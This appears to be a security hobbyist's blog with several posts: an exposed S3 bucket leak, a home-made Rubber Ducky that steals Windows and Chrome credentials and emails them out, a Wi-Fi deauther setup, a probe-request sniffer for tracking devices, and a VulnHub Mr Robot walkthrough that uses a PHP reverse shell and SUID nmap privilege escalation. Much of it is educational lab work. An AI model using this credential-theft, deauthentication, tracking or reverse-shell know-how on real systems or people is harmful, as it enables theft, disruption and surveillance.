Another S3 leak...

During my investigation into S3 buckets as part of my dissertation, just within a day I came across a publicly accessible bucket with over 200GB of data. Having just left 2018 behind, a year of a massive volume of S3 data leaks stuck in the back, I noticed an abnormally large bucket with open access controls. Looking deeper into contents I see:

Let look closer:

Password & Secure Password!?

I feared the worst and confirmed they are storing plain text passwords along side md5 passwords.


All (nearly) 10 million of them:





And it goes on...

In summary, a publicly accessible bucket, over 200GB unzipped, containing API keys, credentials, AWS keys, RSA private keys, transaction data, call logs, various server logs. Users table contains 9,672,637 entries, some containing full name, plain text passwords, email, d.o.b, annual income, address etc... I spent hours combing through it and still barely touched it.

Attempts have been made to contact the owner with several high profile cyber security experts assisting me in getting this resolved.

Further Weaponizing the Home-made Rubber Ducky

Today will be a follow up on my stealing Windows credentials with a home-made rubber ducky which you can read here. We are going to build on the existing code so we can also steal all saved Chrome logins/passwords and receive the results in the same email!

Chrome gives users the option to save your credentials for convenience:

If you are on Windows they are stored  in your users directory, in an encrypted SQLite database. They are encrypted using Windows Data Protection API which means they are going to be fairly easy to decrypt. Which is where I  came across a Powershell script which can harvest a browsers saved credentials called BrowserGather by sekirkity. Powershell is great as everything is executed in memory without touching the disc, helping us evade AV and be a lot more stealthy. Sekirkity did a great job with this script as it can extract the SQLite database and decrypt the data all within the Powershell session. At the moment it only supports Chrome passwords, but he is working on including history, cookie/session data and even other browsers, so our £6.50 Rubber Ducky just keeps growing!

So lets add it to our Mimidogz script:

• We shortened our Github raw download with:

curl -i https://git.io -F "url=https://github.com/..."

• Then Invoke the script with the Get-ChromeCreds
• We have to convert our Chrome results as its type was a Powershell Custom Object which we couldn't send via email
• Then we combine the two results into the body of the email

There we go! Just a few more lines and we have added Chrome credentials to our Windows credentials results!

Here are the results on my test VM:

Thanks for reading!

ESP8266 Deauther

Today we have another cheap hacking tool project! I recently came across a tool on Github called the ESP8266 Deauther by Stefan Kremser. Essentially we can make a very portable Wi-Fi 'Jammer' which is also capable of a few other neat tricks.

It's always important to understand what is going on behind the scenes. Essentially there are a lot of protocols and specifications implemented in wireless communication. These are created and maintained by the Institute of Electrical and Electronics Engineers (IEEE). Included in this set of protocols, classified as a management frame is something called a deauthentication frame, which is used to disconnect devices and access points. The problem is management frames are often unauthenticated and not encrypted. Which makes spoofing these frames easy and effective.

(Please only use this for testing on your own network)

Setting up:

We need a cheap micro controller which contains an ESP8266 chip, I used a NodeMcu DevKit which costs £8.10. There are cheaper options, however this was shipped from the UK so arrived in just a few days.

The Github page gives us two options for installing the tool onto the chip. I chose the quicker of the two as the Arduino way even though is well documented, takes a lot more effort to set up. I will explain in this article how I did it the quick way.

• First download the esp8266_deauther_1.1_1mb.bin version from here

• Secondly, download nodemcu-flasher from here

Plug in your chip to the computer and run the ESP8266Flasher.exe, we need to change a few things before we flash it.

Under Config make sure we have our esp8266_deauther_1.1_1mb.bin selected:

Under operation select the right COM port, it will normally be the one that isn't COM1. If your device isn't recognised make sure you are using the cable that supports data transfer:

Under Advanced make sure your options are the same as mine:

Now go back to Operation and click flash! It will take about 30 seconds then you should see a green tick.

On your computer or phone, we should see a new Wi-Fi network called pwned, connect to it using the password deauther. Now open your browser and go to 192.168.4.1 and you should see the control panel.

Usage:

On the APs panel we can scan for access points in range of us:

We can then select one or more of these AP's and move on to the Clients tab, here we can scan for client devices. It will disconnect during this scan so we will have to manually reconnect:

I am going to select my phone here for testing. Once we hit select we move onto the Attack tab:

Lets try out some attacks!

Starting the deauth attack my phone was instantly disconnected and kept trying to reconnect and being disconnected again:

Beacon clone spammed my Wi-Fi networks with clones of the AP, if this happened to you, you would have no idea which one to connect to:

The beacon list requires us to populate the list with AP's to flood with, we can either hit the random button or enter our own:

Random:

Manual:

We can also do all these attacks from our phone and hook up the chip to a battery back to make it really portable. Although connecting to the device from a phone has been slightly temperamental for me:

Further implementation and analysis:

Now we've seen the attacks how can we use them to our advantage?

• We can use deauth attacks to reveal hidden SSIDs by disconnecting the clients, and then monitoring for Probe Requests which always contain the SSID. Probe Requests are discussed more in my article here. 
• Capturing the 4-way handshake for cracking WPA-PSK Wi-Fi security can be made a lot easier getting clients to deauthenticate and reauthenticate with the access point.
• Attempt to socially engineer a target to connect to your Evil AP. Assuming they can't reliably connect to an AP, the target might be tempted to use a free and open Wi-Fi network available near them.

Now we've seen the attacks working and how we can use them to our benefit, let's have a further look at what's going on behind the scenes by using a tool called Wireshark. To be able to sniff the 802.11 packets with Wireshark we have to use a network card that is capable of monitor mode, you can read more about why here, I personally use an Alfa AWUS036NHA. I captured about 20 seconds of the deauthentication attack and beacon cloning/flooding. 

Lets first take a look at the deauthentication attack. We can filter by just deauthentication packets by management frame (type 0) and by its subtype 12 (0x0c):

(wlan.fc.type == 0)&&(wlan.fc.type_subtype == 0x0c)

Lets look a little further into what makes up the frame. We can see:

1. We can see its Subtype, which is obviously Deauthentication
2. We have a lot of vendor specific information including MAC addresses.
3. A Reason code. This can help someone analysing why devices are being deauthenticated. We can see our device is giving Reason code: 1: Unspecified reason. For a full list of reason codes see here. I went back and checked the code and it specifies to use reason 0x01, so we could manually change this if we wish:

Now lets take a look at the beacon flood, we can filter by just Beacon frames by management frame (type 0) and by its subtype 8 (0x08):

(wlan.fc.type == 0)&&(wlan.fc.type_subtype == 0x08)

Once again we look a little further into what makes the frame:

1. We can see its Subtype
2. We can source and destination address, in this case, it's broadcast so it can flood the network list
3. Beacon Interval is the time between beacons are broadcast, changing this may help network speed
4. The SSID which is being broadcast, in this case we cloned the SSID of the AP

I also found out the chromecast in my house is constantly broadcasting beacons with the SSID of broadcast:

Not sure how normal this behaviour is I, will investigate soon. 

That wraps up today's write up. I've been enjoying making these cheap hacking projects and seeing how and why they work and it's been fun sharing it with you guys. I hope you enjoyed, and any questions or comments let me know.

The scary truth about what your device leaks about you – Part 1

Ever wondered how your phone or other devices know to connect to your Wi-Fi when you arrive home? Well, your phone will shout out is "Home Wi-Fi" there using a special frame called a Probe Request. So, when an access point (such as your home hub) hears this Probe Request Frame, it will send out a Probe Response, and then authentication and connection can resume. Sounds simple and convenient, right? 

Well, the problem is your phone is regularly shouting this out, no matter where you are, and it’s not just your home Wi-Fi, its every Wi-Fi you have connected to with your device and not removed from your list of Saved Networks. On your laptop there should be a list of saved networks somewhere in your Wi-Fi settings, If you are on iPhone you cannot see this list, however, if you have Keychain enabled you can view your networks under AirPort. On Android, you can check on Settings -> Wi-Fi -> Configure Wi-Fi -> Saved networks. 

If you check this list, does it include the names of the Wi-Fi (SSID) of your home, work, favourite restaurant and where you have been on holiday? Do you think with this kind of information someone can start to draw a rough picture of you as a person?

Well bad news, your device will most likely be shouting out probe request frames containing these SSID’s regularly wherever you are. Maybe you’re thinking it’s not too bad, what can someone do by just knowing the names of some SSID’s, they all look similar?

Bad news again. There is a website called Wigle.net which has currently mapped out as of writing this; 321,332,163 Wi-Fi Networks… aaah. 

Wigle does have a lot of good uses, such as educating the public on the amount of still unsecured Wi-Fi networks (WEP), research projects, site surveys and journalism. Instead, we will explore in this article how to collect data, and how this information can be used to essentially track someone through probe requests from your device.

The setup:

Sniffing probe requests requires a network card capable of monitor mode, I personally have an Alfa AWUS036NHA, you can also use these cards for packet injection (wireless hacking).

I wanted to still be portable, even though you could sit in a Café with a laptop, I like the idea of being able to sniff probe requests anywhere, so decided to hook the card up to a Raspberry Pi and a battery back. Fits in my backpack perfectly!

Now we had to get a couple of scripts running and our data saved. You may have heard of the Aircrack-ng suite which is essentially a complete set of tools for testing Wi-Fi Security. It is possible to run aerodump with the wlan.fc.type_subtype == 4 flag to sniff probe requests. However, a tool called hoover written by Xavier Mertens over at https://blog.rootshell.be which uses tshark (command line Wireshark), channel hopping and data parsing, which will give us easier and better results.

I am running the Kali Linux Raspberry Pi ARM image on my Pi, as I was having a few difficulties with my network card drivers and my card worked right away with Kali. I flashed my Micro SD with a tool called etcher.

Once you’ve flashed your micro SD card, connect your Pi into your network through Ethernet, and scan for it using Nmap and you should see one called kali:

nmap -sn 192.168.0.*

Now we can SSH into it using the default password of toor:

ssh root@192.168.0.117 

Remember the first time you SSH into your Kali Pi you must change the SSH host keys as all ARM images are pre-configured with the same keys:

rm /etc/ssh/ssh_host_*

dpkg-reconfigure openssh-server

service ssh restart

Once we have done that lets update everything:

apt-get update -y && apt-get upgrade -y && apt-get dist-upgrade -y

Next, let’s download our tool:

git clone https://github.com/xme/hoover

Now we have our environment set up we need to make a few changes and write a script to stop it after a certain amount of time, or you could manually stop it next time you SSH into it. 
(You may need to install wireshark with apt-get install wireshark)
Let’s edit our hoover script to have the right path to tshark:

Also within the hoover directory I created a quick script which will stop hoover running after a certain amount of time by searching for and killing Its PID, we can chose how long we want by changing the number after sleep, (600 = 10 minutes):

Before we start capturing data we need to put our network card in monitor mode. We can use this using the previous mentioned Aircrack-ng suite:

First find your wireless card name (normally wlan1):

Next kill any processes that might interfere with the network card and then put our network card into monitor mode:

Airmon-ng check kill Airmon-ng start wlan1 

I originally tried to get the script to start on boot and exit/save results after a certain amount of time. However, I was having problems with the parent process dying randomly after a certain amount of time (Still not 100% sure if this was just a Pi thing). So, after some trial and error I managed to put everything in their own process using screen. Unfortunately this meant I had to manually start it during an SSH session.You can easily install screen with:

apt-get install screen

Type screen, this will put us into a ‘new terminal’ Check what your wireless card in monitor mode is called (normally wlan1mon):

Now we start the hoover tool with:

./hoover.pl --interface wlan1mon --dumpfile=results.txt

Now press ctrl+a and then ctrl+d to exit the screen session but it will still resume. Now type screen again so we can start the timed_kill script:

Now press ctrl+a and then ctrl+d to do keep the sessions running. Now we can exit our SSH session, put our Pi in our backpack and wander around! 

After 20 minutes of wandering through the city centre I got a whopping 548 total unique SSID’s: 

Stay tuned for part 2 where we shall analyse our data and delve more into how frequent different devices and conditions will emit probe requests. The whole project will be typed up in an academic journal style. Cheers!

VulnHub Write Up - Mr Robot

Vulnerable Machine:

https://www.vulnhub.com/entry/mr-robot-1,151/

Method:

• Scanned network to discover target
• Scanned ports and services on target
• Scanned the web application for vulnerabilities and information
• Scanned for specific WordPress vulnerabilities
• Exploit WordPress by uploading a php-reverse-shell
• Use a misconfigured SUID Bit to escalate privileges

Tools:

• Nmap
• Nikto
• Wpscan
• Netcat
• php-reverse-shell

Useful links:

• Spawning a TTY Shell
• SUID Bit privilege escalation

Write up:

The first step to any penetration testing, whether it is network or web based, is Intelligence Gathering. After we had our attacking machine and our Mr Robot virtual machine both on the host only network adapter, our first step was to scan our network for our target. 
I ran an nmap scan with -n flag to skip DNS resolution as we are on host only (the box is not connected to the internet, it is generally bad practice to have a vulnerable machine internet facing for obvious reasons), and with an -sn flag for host discovery and used the * wildcard to scan all IP's from 192.168.56.0-255:

root@Hazana:~# nmap -n -sn 192.168.56.*
Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-12 15:30 GMT
Nmap scan report for 192.168.56.103
Host is up (0.00013s latency).
MAC Address: 08:00:27:A2:13:1F (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00016s latency).
MAC Address: 08:00:27:CF:FB:C2 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 6.98 seconds

As my machine is .103, and I know .100 is the host-only ethernet adapter, then we have our target; .102

Next was to scan the target for ports and services.

The -A flag will probe for open ports, services and OS fingerprinting:

root@Hazana:~# nmap -A -n 192.168.56.102
Starting Nmap 7.40 ( https://nmap.org ) at 2017-03-12 15:31 GMT
Nmap scan report for 192.168.56.102
Host is up (0.00030s latency).
Not shown: 997 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
MAC Address: 08:00:27:CF:FB:C2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.2
Network Distance: 1 hop
TRACEROUTE
HOP RTT     ADDRESS
1   0.29 ms 192.168.56.102

(Unfortunately the actual webpages were having problems displaying for me, but from checking the source code and from what I've read there is some fun stuff to explore.)

We can see it is running a web server, I like to use a tool called Nikto to scan for vulnerabilities or if anything is misconfigured:

root@Hazana:~# nikto -h 192.168.56.102
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.102
+ Target Hostname:    192.168.56.102
+ Target Port:        80
+ Start Time:         2017-03-12 15:44:31 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.56.102/?p=23>; rel=shortlink
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ 7535 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time:           2017-03-12 15:47:08 (GMT0) (157 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

We can gather some useful things from the Nikto scan:

- The server is leaking ETags, to do with CVE-2003-1418, meaning the server is leaking sesnitive information of inode numbers and PIDs

- We can bruteforce the server for file names due to mod_negoiation being enabled with MultiViews

- Found an /admin, /admin/index.html (admin login page, we will remember this if we find any credentials) and 2 /wp-login.php pages, also useful if we find any credentials

- We also know the server is running WordPress, which often contains vulnerabilities

I decided to run a Wpscan, a WordPress security scanner, it gave us a lot of XSS issues but that wasn’t going to be useful for us:

root@Hazana:~/MrRobot# wpscan --url 192.168.56.102
[+] URL: http://192.168.56.102/
[+] Started: Sun Mar 12 16:18:09 2017
[+] robots.txt available under: 'http://192.168.56.102/robots.txt'
[+] Interesting header: SERVER: Apache
[+] Interesting header: X-FRAME-OPTIONS: SAMEORIGIN
[+] Interesting header: X-MOD-PAGESPEED: 1.9.32.3-4523
[+] XML-RPC Interface available under: http://192.168.56.102/xmlrpc.php

However from this scan we can see /robots.txt is here. /robots.txt is essentially a way of telling robots not to crawl these webpages so they wont display on google search for example.

After browsing to /robots.txt we can see the dissallowed entries:

User-agent: *
fsocity.dic
key-1-of-3.txt

After browsing to 192.168.56.102/key-1-of-3.txt we get our first key!

Key 1:

073403c8a58a1f80d943455fb30724b9

I then decided to check /fsocity.dic, where we got a download:

I opened it up with gedit and it seems to be a word list:

Using wc -l file in the terminal we can count the number of lines:

root@Hazana:~/MrRobot# wc -l fsocity.dic
858160 fsocity.dic

So a big wordlist!

I Decided to go back and check on what Nikto had found, I browsed to /admin/index.html and checked the source code:

/readme.html:

/wp-links-opml.php revealed the WordPress version, this may come in useful later:

/liscence.txt shows us: 

"what do you just pull code from Rapid9 or some s@#% since when you become a script kitty?"

Which if I recall is a quote from Elliot in the show:

I almost missed it but if you scroll down on the /liscence.txt page you can see what looks like a base64 encoded string right at the bottom. 
So, I decoded it in my browser using the HackBar extension (check it out, I highly recommend it):

It decoded to elliot:ER28-0652. Seems like credentials, we shall go back and try these creds in /wp-admin/ which we made note of earlier:

Success!

Looking around I noticed under appearance > editor, we can directly edit the php code! Lets try and get a reverse php shell!

Pentestmonkey have already written a great php reverse shell here

or easily download in a terminal with:

git clone github.com/pentestmonkey/php-reverse-shell

 Now we can edit the script to put in our IP address:

Then copy and paste it into the WP editor:

Next we need to set up a netcat listener to listen for the connection, the 1234 is the port number which was defined in the script:

root@Hazana:~ # nc -nvlp 1234
listening on [any] 1234 ...

Then browse to the url where we edited the php, which will make the web server execute our script:

http://192.168.56.102/wp-content/themes/twentyfifteen/404.php

Bingo! A reverse shell!

root@Hazana:~ #
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.102] 35697
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
16:56:26 up  1:35,  0 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off

Now we can navigate in our PHP reverse shell:

$
$ cd home
$ ls
robot
$ cd robot
$ ls
key-2-of-3.txt
password.raw-md5
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Now we have an md5 hash! We could crack it ourselves, but that might take a while so lets submit it on crackstation to see if they already have the hash in their database.

Great! We now have a password and a username!

robot: abcdefghijklmnopqrstuvwxyz

Now we need to be able to login with these credentials, however our PHP shell just won’t cut it, so we can upgrade our shell using a simple trick with python. Some extra reading in the difference between terminals, shells, tty and consoles can be found here.

$ python -c 'import pty; pty.spawn("/bin/sh")'
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

(su can be thought of as switch user, so we can execute commands with the privileges of the robot user)

Now we are logged in as robot!

robot@linux:~$ ls
ls
key-2-of-3.txt    password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959

2nd key:

822c73956184f694993bede3eb39f959

Now let’s enumerate the internals of this host, I always check to see if we have nmap installed:

robot@linux:~$ nmap --help
nmap --help
Nmap 3.81 Usage: nmap [Scan Type(s)] [Options] <host or net list>

So, we have nmap installed, however it is a much older version... Anyhow let’s scan ourselves using nmap -A localhost:

Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2017-03-12 17:14 UTC
Interesting ports on localhost (127.0.0.1):
(The 1659 ports scanned but not shown below are in state: closed)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsFTPd 3.0.2
80/tcp   open  http    Apache httpd
443/tcp  open  ssl     Nessus security scanner
3306/tcp open  mysql

So, we have ftp and mysql running, interesting!

The problem is we have no credentials to access them we could brute force hoping for weak credentials. But I decided to have a look around further to see if there were any clues:

robot@linux:/$ cd root
cd root
bash: cd: root: Permission denied

Hmm, perhaps some privilege escalation is in order.

There’s a reason it is constantly drilled into us to keep our software up to date, I decided to check if there were any problems with that old version of nmap.

I came across this article.

Essentially we can find all files that are owned by root with SUID permission bits (-perm -4000) and chuck any errors away to /dev/null:

robot@linux:/$ find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

We can see nmap is in there! It shouldn't have these permissions so let’s try and abuse them.

As this is an older nmap, we can start interactive mode with --interactive:

robot@linux:/$ nmap --interactive
nmap> !sh
!sh

(The !sh lets us escape to a shell with the privileges nmap has)

# cd root
cd root
# ls
ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4

Just like that we can abuse the permission in our nmap shell and read the final key!

Key 3:

04787ddef27c3dee1ee161b21670b4e4

Hope you enjoyed my first write up, any questions or improvements let me know, thanks!